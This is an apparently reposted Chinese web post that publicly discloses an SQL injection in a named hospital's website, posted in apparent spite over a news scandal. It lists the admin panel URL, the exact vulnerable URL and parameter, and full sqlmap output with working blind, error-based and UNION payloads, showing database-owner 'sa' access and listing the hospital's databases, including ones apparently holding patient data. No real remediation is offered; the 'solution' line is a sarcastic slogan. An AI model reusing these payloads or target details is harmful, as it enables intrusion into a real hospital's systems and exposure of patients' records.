中广安门中医院网站存在DBA+SA+MSSQL注射漏洞(女孩痛斥号贩子视频所属医院)
程序员文章站
2022-04-07 16:14:04
请看这条消息
http://www.gamh.com.cn/gamadmin/infomanage/comminfo/show.asp?Info_ID=1282
他们还好意思在那叭叭叭...
请看这条消息
http://www.gamh.com.cn/gamadmin/infomanage/comminfo/show.asp?Info_ID=1282
他们还好意思在那叭叭叭
网站后台:http://www.gamh.com.cn/gamadmin/
注射点:http://www.gamh.com.cn/english/huojiangmulu.asp?Info_Type_Name=Scientific%20Achievement&Info_Type_Code=20
参数:Info_Type_Code
DBA+SA+MSSQL
sqlmap identified the following injection point(s) with a total of 258 HTTP(s) requests: --- Parameter: Info_Type_Code (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 8381=8381 AND (1970=1970 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 6004=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (6004=6004) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))) AND (1028=1028 Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4733=4733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113)) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(110)+CHAR(99)+CHAR(73)+CHAR(89)+CHAR(88)+CHAR(102)+CHAR(116)+CHAR(71)+CHAR(65)+CHAR(99)+CHAR(73)+CHAR(79)+CHAR(109)+CHAR(85)+CHAR(76)+CHAR(69)+CHAR(115)+CHAR(68)+CHAR(103)+CHAR(85)+CHAR(88)+CHAR(102)+CHAR(111)+CHAR(70)+CHAR(119)+CHAR(109)+CHAR(73)+CHAR(118)+CHAR(119)+CHAR(99)+CHAR(81)+CHAR(122)+CHAR(82)+CHAR(79)+CHAR(85)+CHAR(73)+CHAR(72)+CHAR(101)+CHAR(113)+CHAR(108)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113),NULL,NULL-- - --- web server operating system: Windows web application technology: ASP.NET, ASP back-end DBMS: Microsoft SQL Server 2000 sqlmap resumed the following injection point(s) from stored session: --- Parameter: Info_Type_Code (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 8381=8381 AND (1970=1970 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 6004=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (6004=6004) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))) AND (1028=1028 Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4733=4733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113)) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(110)+CHAR(99)+CHAR(73)+CHAR(89)+CHAR(88)+CHAR(102)+CHAR(116)+CHAR(71)+CHAR(65)+CHAR(99)+CHAR(73)+CHAR(79)+CHAR(109)+CHAR(85)+CHAR(76)+CHAR(69)+CHAR(115)+CHAR(68)+CHAR(103)+CHAR(85)+CHAR(88)+CHAR(102)+CHAR(111)+CHAR(70)+CHAR(119)+CHAR(109)+CHAR(73)+CHAR(118)+CHAR(119)+CHAR(99)+CHAR(81)+CHAR(122)+CHAR(82)+CHAR(79)+CHAR(85)+CHAR(73)+CHAR(72)+CHAR(101)+CHAR(113)+CHAR(108)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113),NULL,NULL-- - --- web server operating system: Windows web application technology: ASP.NET, ASP back-end DBMS: Microsoft SQL Server 2000 current user: 'sa' current database: 'gamhospital' current user is DBA: True available databases [10]: [*] aids [*] gamhospital [*] keti [*] master [*] model [*] msdb [*] Northwind [*] pubs [*] tangniaobing [*] tempdb
解决方案:
全心全意为老百姓服务
下一篇: CAD图纸中文字边界显示不平滑怎么办?